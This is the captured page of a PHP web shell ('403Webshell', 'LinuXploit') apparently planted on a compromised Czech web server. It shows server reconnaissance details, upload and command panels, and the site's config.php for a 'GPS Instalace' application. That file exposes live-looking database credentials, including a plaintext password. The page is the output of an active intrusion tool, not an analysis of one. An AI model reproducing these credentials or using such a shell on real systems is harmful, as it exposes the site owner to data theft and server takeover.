403Webshell
Server IP : 193.86.120.172  /  Your IP : 216.73.216.67
Web Server : Apache/2.4.63 (Unix)
System : Linux JServices 3.10.108 #86003 SMP Wed Oct 22 13:20:46 CST 2025 x86_64
User : kubec ( 1026)
PHP Version : 8.2.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /volume1/web/doskocil_jservices_cz/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /volume1/web/doskocil_jservices_cz/config.php
<?php
/**
 * GPS Instalace — konfigurace
 * Soubor: /config.php
 * NIKDY nekopírovat do veřejně přístupné složky!
 */

define('GPS_VERSION', '1.0.0');

// ------------------------------------------------------------
// Databáze
// ------------------------------------------------------------
define('DB_HOST', 'localhost');
define('DB_NAME', 'doskocilkarel');
define('DB_USER', 'doskocilkarel');
define('DB_PASS', 'x-ga9/ELOymk56C-');
define('DB_CHARSET', 'utf8mb4');

// ------------------------------------------------------------
// Aplikace
// ------------------------------------------------------------
define('APP_NAME', 'GPS Instalace');
define('APP_URL',  'https://doskocil.jservices.cz');
define('APP_DIR',  __DIR__);

// ------------------------------------------------------------
// Session
// ------------------------------------------------------------
define('SESSION_NAME',     'gps_session');
define('SESSION_LIFETIME', 90 * 24 * 3600); // 90 dní v sekundách

// ------------------------------------------------------------
// Upload fotek
// ------------------------------------------------------------
define('UPLOAD_DIR',      APP_DIR . '/uploads/fotky/');
define('UPLOAD_MAX_MB',   10);
define('UPLOAD_QUALITY',  75);   // JPEG komprese 0–100

// ------------------------------------------------------------
// Timezone
// ------------------------------------------------------------
date_default_timezone_set('Europe/Prague');

// ------------------------------------------------------------
// PDO připojení
// ------------------------------------------------------------
try {
    $pdo = new PDO(
        'mysql:host=' . DB_HOST . ';dbname=' . DB_NAME . ';charset=' . DB_CHARSET,
        DB_USER,
        DB_PASS,
        [
            PDO::ATTR_ERRMODE            => PDO::ERRMODE_EXCEPTION,
            PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
            PDO::ATTR_EMULATE_PREPARES   => false,
        ]
    );
} catch (PDOException $e) {
    http_response_code(503);
    // V produkci nezobrazuj detaily chyby
    error_log('DB chyba: ' . $e->getMessage());
    die(json_encode(['ok' => false, 'error' => 'Chyba připojení k databázi.']));
}

// ------------------------------------------------------------
// Pomocné funkce
// ------------------------------------------------------------

/**
 * Načte hodnotu z tabulky nastaveni
 */
function get_nastaveni(string $klic, string $default = ''): string {
    global $pdo;
    static $cache = [];
    if (!isset($cache[$klic])) {
        $stmt = $pdo->prepare("SELECT hodnota FROM nastaveni WHERE klic = ?");
        $stmt->execute([$klic]);
        $cache[$klic] = $stmt->fetchColumn() ?: $default;
    }
    return $cache[$klic];
}

/**
 * Bezpečný výstup HTML
 */
function h(string $s): string {
    return htmlspecialchars($s, ENT_QUOTES, 'UTF-8');
}

/**
 * JSON odpověď a ukončení skriptu
 */
function json_response(bool $ok, array $data = [], int $code = 200): void {
    http_response_code($code);
    header('Content-Type: application/json; charset=utf-8');
    echo json_encode(array_merge(['ok' => $ok], $data), JSON_UNESCAPED_UNICODE);
    exit;
}

/**
 * Přesměrování
 */
function redirect(string $url): void {
    header('Location: ' . $url);
    exit;
}

Youez - 2016 - github.com/yon3zu
LinuXploit